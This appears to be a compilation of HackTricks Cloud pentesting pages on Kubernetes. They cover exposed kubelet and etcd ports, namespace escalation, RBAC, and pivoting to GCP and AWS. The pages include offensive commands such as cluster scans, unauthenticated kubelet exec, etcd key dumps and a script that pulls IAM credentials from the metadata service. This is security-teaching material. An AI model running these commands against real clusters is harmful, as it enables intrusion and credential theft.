[https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1) * [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # Pentesting Kubernetes Services - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 7 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. Kubernetes uses several **specific network services** that you might find **exposed to the Internet** or in an **internal network once you have compromised one pod**. One way could be searching for `Identity LIKE "k8s.%.com"` in [crt.sh](https://crt.sh) to find subdomains related to kubernetes. Another way might be to search `"k8s.%.com"` in github and search for **YAML files** containing the string. It might be useful for you to understand how Kubernetes can **expose services publicly** in order to find them: [Exposing Services in Kubernetes](../exposing-services-in-kubernetes.html) The following ports might be open in a Kubernetes cluster: | Port | Process | Description | | --- | --- | --- | | 443/TCP | kube-apiserver | Kubernetes API port | | 2379/TCP | etcd | | | 6666/TCP | etcd | etcd | | 4194/TCP | cAdvisor | Container metrics | | 6443/TCP | kube-apiserver | Kubernetes API port | | 8443/TCP | kube-apiserver | Minikube API port | | 8080/TCP | kube-apiserver | Insecure API port | | 10250/TCP | kubelet | HTTPS API which allows full mode access | | 10255/TCP | kubelet | Unauthenticated read-only HTTP port: pods, running pods and node state | | 10256/TCP | kube-proxy | Kube Proxy health check server | | 9099/TCP | calico-felix | Health check server for Calico | | 6782-4/TCP | weave | Metrics and endpoints | | 30000-32767/TCP | NodePort | Proxy to the services | | 44134/TCP | Tiller | Helm service listening | bash nmap -n -T4 -p 443,2379,6666,4194,6443,8443,8080,10250,10255,10256,9099,6782-6784,30000-32767,44134 /16 This is the **API Kubernetes service** the administrators talks with usually using the tool **`kubectl`**. **Common ports: 6443 and 443**, but also 8443 in minikube and 8080 as insecure. bash curl -k https://:(8|6)443/swaggerapi curl -k https://:(8|6)443/healthz curl -k https://:(8|6)443/api/v1 **Check the following page to learn how to obtain sensitive data and perform sensitive actions talking to this service:** [Kubernetes Enumeration](../kubernetes-enumeration.html) This service **run in every node of the cluster**. It's the service that will **control** the pods inside the **node**. It talks with the **kube-apiserver**. If you find this service exposed you might have found an **unauthenticated RCE**. bash curl -k https://:10250/metrics curl -k https://:10250/pods If the response is `Unauthorized` then it requires authentication. If you can list nodes you can get a list of kubelets endpoints with: bash kubectl get nodes -o custom-columns='IP:.status.addresses[0].address,KUBELET_PORT:.status.daemonEndpoints.kubeletEndpoint.Port' | grep -v KUBELET_PORT | while IFS='' read -r node; do ip=$(echo $node | awk '{print $1}') port=$(echo $node | awk '{print $2}') echo "curl -k --max-time 30 https://$ip:$port/pods" echo "curl -k --max-time 30 https://$ip:2379/version" #Check also for etcd done bash curl -k https://:10255 http://:10255/pods bash curl -k https://:2379 curl -k https://:2379/version etcdctl --endpoints=http://:2379 get / --prefix --keys-only bash helm --host tiller-deploy.kube-system:44134 version You could abuse this service to escalate privileges inside Kubernetes: Service useful to gather metrics. bash curl -k https://:4194 When a port is exposed in all the nodes via a **NodePort**, the same port is opened in all the nodes proxifying the traffic into the declared **Service**. By default this port will be in in the **range 30000-32767**. So new unchecked services might be accessible through those ports. bash sudo nmap -sS -p 30000-32767 Anonymous access to **kube-apiserver API endpoints is not allowed**. But you could check some endpoints: ![](https://www.cyberark.com/wp-content/uploads/2019/09/Kube-Pen-2-fig-5.png) The ETCD stores the cluster secrets, configuration files and more **sensitive data**. By **default**, the ETCD **cannot** be accessed **anonymously**, but it always good to check. If the ETCD can be accessed anonymously, you may need to **use the** [**etcdctl**](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md) **tool**. The following command will get all the keys stored: bash etcdctl --endpoints=http://:2379 get / --prefix --keys-only The [**Kubelet documentation**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/) explains that by **default anonymous acce**ss to the service is **allowed:** > Enables anonymous requests to the Kubelet server. Requests that are not rejected by another authentication method are treated as anonymous requests. Anonymous requests have a username of `system:anonymous`, and a group name of `system:unauthenticated` To understand better how the **authentication and authorization of the Kubelet API works** check this page: [Kubelet Authentication & Authorization](kubelet-authentication-and-authorization.html) The **Kubelet** service **API is not documented**, but the source code can be found here and finding the exposed endpoints is as easy as **running**: bash curl -s https://raw.githubusercontent.com/kubernetes/kubernetes/master/pkg/kubelet/server/server.go | grep 'Path("/' Path("/pods"). Path("/run") Path("/exec") Path("/attach") Path("/portForward") Path("/containerLogs") Path("/runningpods/"). All of them sound interesting. You can use the [**Kubeletctl**](https://github.com/cyberark/kubeletctl) tool to interact with Kubelets and their endpoints. This endpoint list pods and their containers: bash kubeletctl pods This endpoint allows to execute code inside any container very easily: bash kubeletctl exec [command] note To avoid this attack the _**kubelet**_ service should be run with `--anonymous-auth false` and the service should be segregated at the network level. When a **kubelet read-only port** is exposed, it becomes possible for information to be retrieved from the API by unauthorized parties. The exposure of this port may lead to the disclosure of various **cluster configuration elements**. Although the information, including **pod names, locations of internal files, and other configurations**, may not be critical, its exposure still poses a security risk and should be avoided. An example of how this vulnerability can be exploited involves a remote attacker accessing a specific URL. By navigating to `http://:10255/pods`, the attacker can potentially retrieve sensitive information from the kubelet: ![https://www.cyberark.com/wp-content/uploads/2019/09/KUbe-Pen-2-fig-6.png](https://www.cyberark.com/wp-content/uploads/2019/09/KUbe-Pen-2-fig-6.png) [Kubernetes Pentest Methodology Part 2](https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-2) [Threats & Research Archives - F-Secure Blog](https://labs.f-secure.com/blog/attacking-kubernetes-through-kubelet) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # Kubernetes Namespace Escalation - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 2 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. In Kubernetes it's pretty common that somehow **you manage to get inside a namespace** (by stealing some user credentials or by compromising a pod). However, usually you will be interested in **escalating to a different namespace as more interesting things can be found there**. Here are some techniques you can try to escape to a different namespace: Obviously if the account you have stolen have sensitive privileges over the namespace you can to escalate to, you can abuse actions like **creating pods** with service accounts in the NS, **executing** a shell in an already existent pod inside of the ns, or read the **secret** SA tokens. For more info about which privileges you can abuse read: [Abusing Roles/ClusterRoles in Kubernetes](abusing-roles-clusterroles-in-kubernetes/index.html) If you can escape to the node either because you have compromised a pod and you can escape or because you ca create a privileged pod and escape you could do several things to steal other SAs tokens: * Check for **SAs tokens mounted in other docker containers** running in the node * Check for new **kubeconfig files in the node with extra permissions** given to the node * If enabled (or enable it yourself) try to **create mirrored pods of other namespaces** as you might get access to those namespaces default token accounts (I haven't tested this yet) All these techniques are explained in: [Attacking Kubernetes from inside a Pod](attacking-kubernetes-from-inside-a-pod.html) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # Kubernetes Role-Based Access Control(RBAC) - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 6 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. Kubernetes has an **authorization module named Role-Based Access Control** ([**RBAC**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/) ) that helps to set utilization permissions to the API server. RBAC’s permission model is built from **three individual parts**: 1. **Role\\ClusterRole ­–** The actual permission. It contains _**rules**_ that represent a set of permissions. Each rule contains [resources](https://kubernetes.io/docs/reference/kubectl/overview/#resource-types) and [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb) . The verb is the action that will apply on the resource. 2. **Subject (User, Group or ServiceAccount) –** The object that will receive the permissions. 3. **RoleBinding\\ClusterRoleBinding –** The connection between Role\\ClusterRole and the subject. ![](https://www.cyberark.com/wp-content/uploads/2018/12/rolebiding_serviceaccount_and_role-1024x551.png) The difference between “**Roles**” and “**ClusterRoles**” is just where the role will be applied – a “**Role**” will grant access to only **one** **specific** **namespace**, while a “**ClusterRole**” can be used in **all namespaces** in the cluster. Moreover, **ClusterRoles** can also grant access to: * **cluster-scoped** resources (like nodes). * **non-resource** endpoints (like /healthz). * namespaced resources (like Pods), **across all namespaces**. From **Kubernetes** 1.6 onwards, **RBAC** policies are **enabled by default**. But to enable RBAC you can use something like: kube-apiserver --authorization-mode=Example,RBAC --other-options --more-options In the template of a **Role** or a **ClusterRole** you will need to indicate the **name of the role**, the **namespace** (in roles) and then the **apiGroups**, **resources** and **verbs** of the role: * The **apiGroups** is an array that contains the different **API namespaces** that this rule applies to. For example, a Pod definition uses apiVersion: v1. _It can has values such as rbac.authorization.k8s.io or \[\*\]_. * The **resources** is an array that defines **which resources this rule applies to**. You can find all the resources with: `kubectl api-resources --namespaced=true` * The **verbs** is an array that contains the **allowed verbs**. The verb in Kubernetes defines the **type of action** you need to apply to the resource. For example, the list verb is used against collections while "get" is used against a single resource. (_This info was taken from_ [_**the docs**_](https://kubernetes.io/docs/reference/access-authn-authz/authorization/index.html#determine-the-request-verb) ) | HTTP verb | request verb | | --- | --- | | POST | create | | GET, HEAD | get (for individual resources), list (for collections, including full object content), watch (for watching an individual resource or collection of resources) | | PUT | update | | PATCH | patch | | DELETE | delete (for individual resources), deletecollection (for collections) | Kubernetes sometimes checks authorization for additional permissions using specialized verbs. For example: * [PodSecurityPolicy](https://kubernetes.io/docs/concepts/policy/pod-security-policy/) * `use` verb on `podsecuritypolicies` resources in the `policy` API group. * [RBAC](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) * `bind` and `escalate` verbs on `roles` and `clusterroles` resources in the `rbac.authorization.k8s.io` API group. * [Authentication](https://kubernetes.io/docs/reference/access-authn-authz/authentication/) * `impersonate` verb on `users`, `groups`, and `serviceaccounts` in the core API group, and the `userextras` in the `authentication.k8s.io` API group. warning You can find **all the verbs that each resource support** executing `kubectl api-resources --sort-by name -o wide` Role apiVersion: rbac.authorization.k8s.io/v1 kind: Role metadata: namespace: defaultGreen name: pod-and-pod-logs-reader rules: - apiGroups: [""] resources: ["pods", "pods/log"] verbs: ["get", "list", "watch"] ClusterRole apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: # "namespace" omitted since ClusterRoles are not namespaced name: secret-reader rules: - apiGroups: [""] resources: ["secrets"] verbs: ["get", "watch", "list"] For example you can use a **ClusterRole** to allow a particular user to run: kubectl get pods --all-namespaces [**From the docs:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) A **role binding grants the permissions defined in a role to a user or set of users**. It holds a list of subjects (users, groups, or service accounts), and a reference to the role being granted. A **RoleBinding** grants permissions within a specific **namespace** whereas a **ClusterRoleBinding** grants that access **cluster-wide**. RoleBinding piVersion: rbac.authorization.k8s.io/v1 # This role binding allows "jane" to read pods in the "default" namespace. # You need to already have a Role named "pod-reader" in that namespace. kind: RoleBinding metadata: name: read-pods namespace: default subjects: # You can specify more than one "subject" - kind: User name: jane # "name" is case sensitive apiGroup: rbac.authorization.k8s.io roleRef: # "roleRef" specifies the binding to a Role / ClusterRole kind: Role #this must be Role or ClusterRole name: pod-reader # this must match the name of the Role or ClusterRole you wish to bind to apiGroup: rbac.authorization.k8s.io ClusterRoleBinding apiVersion: rbac.authorization.k8s.io/v1 # This cluster role binding allows anyone in the "manager" group to read secrets in any namespace. kind: ClusterRoleBinding metadata: name: read-secrets-global subjects: - kind: Group name: manager # Name is case sensitive apiGroup: rbac.authorization.k8s.io roleRef: kind: ClusterRole name: secret-reader apiGroup: rbac.authorization.k8s.io **Permissions are additive** so if you have a clusterRole with “list” and “delete” secrets you can add it with a Role with “get”. So be aware and test always your roles and permissions and **specify what is ALLOWED, because everything is DENIED by default.** bash # Get current privileges kubectl auth can-i --list # use `--as=system:serviceaccount::` to impersonate a service account # List Cluster Roles kubectl get clusterroles kubectl describe clusterroles # List Cluster Roles Bindings kubectl get clusterrolebindings kubectl describe clusterrolebindings # List Roles kubectl get roles kubectl describe roles # List Roles Bindings kubectl get rolebindings kubectl describe rolebindings [Abusing Roles/ClusterRoles in Kubernetes](abusing-roles-clusterroles-in-kubernetes/index.html) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # Kubernetes Pivoting to Clouds - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 12 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. If you are running a k8s cluster inside GCP you will probably want that some application running inside the cluster has some access to GCP. There are 2 common ways of doing that: A common way to give **access to a kubernetes application to GCP** is to: * Create a GCP Service Account * Bind on it the desired permissions * Download a json key of the created SA * Mount it as a secret inside the pod * Set the GOOGLE\_APPLICATION\_CREDENTIALS environment variable pointing to the path where the json is. warning Therefore, as an **attacker**, if you compromise a container inside a pod, you should check for that **env** **variable** and **json** **files** with GCP credentials. A way to give access to a GSA to a GKE cluser is by binding them in this way: * Create a Kubernetes service account in the same namespace as your GKE cluster using the following command: bash Copy codekubectl create serviceaccount * Create a Kubernetes Secret that contains the credentials of the GCP service account you want to grant access to the GKE cluster. You can do this using the `gcloud` command-line tool, as shown in the following example: bash Copy codegcloud iam service-accounts keys create .json \ --iam-account kubectl create secret generic \ --from-file=key.json=.json * Bind the Kubernetes Secret to the Kubernetes service account using the following command: bash Copy codekubectl annotate serviceaccount \ iam.gke.io/gcp-service-account= warning In the **second step** it was set the **credentials of the GSA as secret of the KSA**. Then, if you can **read that secret** from **inside** the **GKE** cluster, you can **escalate to that GCP service account**. With Workload Identity, we can configure a [Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) to act as a [Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts) . Pods running with the Kubernetes service account will automatically authenticate as the Google service account when accessing Google Cloud APIs. The **first series of steps** to enable this behaviour is to **enable Workload Identity in GCP** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c) ) and create the GCP SA you want k8s to impersonate. * **Enable Workload Identity** on a new cluster bash gcloud container clusters update \ --region=us-central1 \ --workload-pool=.svc.id.goog * **Create/Update a new nodepool** (Autopilot clusters don't need this) bash # You could update instead of create gcloud container node-pools create --cluster= --workload-metadata=GKE_METADATA --region=us-central1 * Create the **GCP Service Account to impersonate** from K8s with GCP permissions: bash # Create SA called "gsa2ksa" gcloud iam service-accounts create gsa2ksa --project= # Give "roles/iam.securityReviewer" role to the SA gcloud projects add-iam-policy-binding \ --member "serviceAccount:gsa2ksa@.iam.gserviceaccount.com" \ --role "roles/iam.securityReviewer" * **Connect** to the **cluster** and **create** the **service account** to use bash # Get k8s creds gcloud container clusters get-credentials --region=us-central1 # Generate our testing namespace kubectl create namespace testing # Create the KSA kubectl create serviceaccount ksa2gcp -n testing * **Bind the GSA with the KSA** bash # Allow the KSA to access the GSA in GCP IAM gcloud iam service-accounts add-iam-policy-binding gsa2ksa@.svc.id.goog[/ksa2gcp]" # Indicate to K8s that the SA is able to impersonate the GSA kubectl annotate serviceaccount ksa2gcp \ --namespace testing \ iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com * Run a **pod** with the **KSA** and check the **access** to **GSA:** bash # If using Autopilot remove the nodeSelector stuff! echo "apiVersion: v1 kind: Pod metadata: name: workload-identity-test namespace: spec: containers: - image: google/cloud-sdk:slim name: workload-identity-test command: ['sleep','infinity'] serviceAccountName: ksa2gcp nodeSelector: iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f- # Get inside the pod kubectl exec -it workload-identity-test \ --namespace testing \ -- /bin/bash # Check you can access the GSA from insie the pod with curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email gcloud auth list Check the following command to authenticate in case needed: bash gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json warning As an attacker inside K8s you should **search for SAs** with the **`iam.gke.io/gcp-service-account` annotation** as that indicates that the SA can access something in GCP. Another option would be to try to abuse each KSA in the cluster and check if it has access. From GCP is always interesting to enumerate the bindings and know **which access are you giving to SAs inside Kubernetes**. This is a script to easily **iterate over the all the pods** definitions **looking** for that **annotation**: bash for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do echo "Pod: $ns/$pod" kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account" echo "" echo "" done done | grep -B 1 "gcp-service-account" ### [](#workflow-of-iam-role-for-service-accounts) An (outdated) way to give IAM Roles to Pods is to use a [**Kiam**](https://github.com/uswitch/kiam) or a [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.** Basically you will need to run a **daemonset** in your cluster with a **kind of privileged IAM role**. This daemonset will be the one that will give access to IAM roles to the pods that need it. First of all you need to configure **which roles can be accessed inside the namespace**, and you do that with an annotation inside the namespace object: Kiam kind: Namespace metadata: name: iam-example annotations: iam.amazonaws.com/permitted: ".*" Kube2iam apiVersion: v1 kind: Namespace metadata: annotations: iam.amazonaws.com/allowed-roles: | ["role-arn"] name: default Once the namespace is configured with the IAM roles the Pods can have you can **indicate the role you want on each pod definition with something like**: Kiam & Kube2iam kind: Pod metadata: name: foo namespace: external-id-example annotations: iam.amazonaws.com/role: reportingdb-reader warning As an attacker, if you **find these annotations** in pods or namespaces or a kiam/kube2iam server running (in kube-system probably) you can **impersonate every r**ole that is already **used by pods** and more (if you have access to AWS account enumerate the roles). note The IAM role to indicate must be in the same AWS account as the kiam/kube2iam role and that role must be able to access it. yaml echo 'apiVersion: v1 kind: Pod metadata: annotations: iam.amazonaws.com/role: transaction-metadata name: alpine namespace: eevee spec: containers: - name: alpine image: alpine command: ["/bin/sh"] args: ["-c", "sleep 100000"]' | kubectl apply -f - ### [](#workflow-of-iam-role-for-service-accounts) This is the **recommended way by AWS**. 1. First of all you need to [create an OIDC provider for the cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html) . 2. Then you create an IAM role with the permissions the SA will require. 3. Create a [trust relationship between the IAM role and the SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) name (or the namespaces giving access to the role to all the SAs of the namespace). _The trust relationship will mainly check the OIDC provider name, the namespace name and the SA name_. 4. Finally, **create a SA with an annotation indicating the ARN of the role**, and the pods running with that SA will have **access to the token of the role**. The **token** is **written** inside a file and the path is specified in **`AWS_WEB_IDENTITY_TOKEN_FILE`** (default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`) bash # Create a service account with a role cat >my-service-account.yaml </dev/null || wget http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null) if [ "$IAM_ROLE_NAME" ]; then echo "IAM Role discovered: $IAM_ROLE_NAME" if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then echo "Credentials:" curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null fi fi * [https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity](https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity) * [https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c) * [https://blogs.halodoc.io/iam-roles-for-service-accounts-2/](https://blogs.halodoc.io/iam-roles-for-service-accounts-2/) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # Abusing Roles/ClusterRoles in Kubernetes - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 25 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team 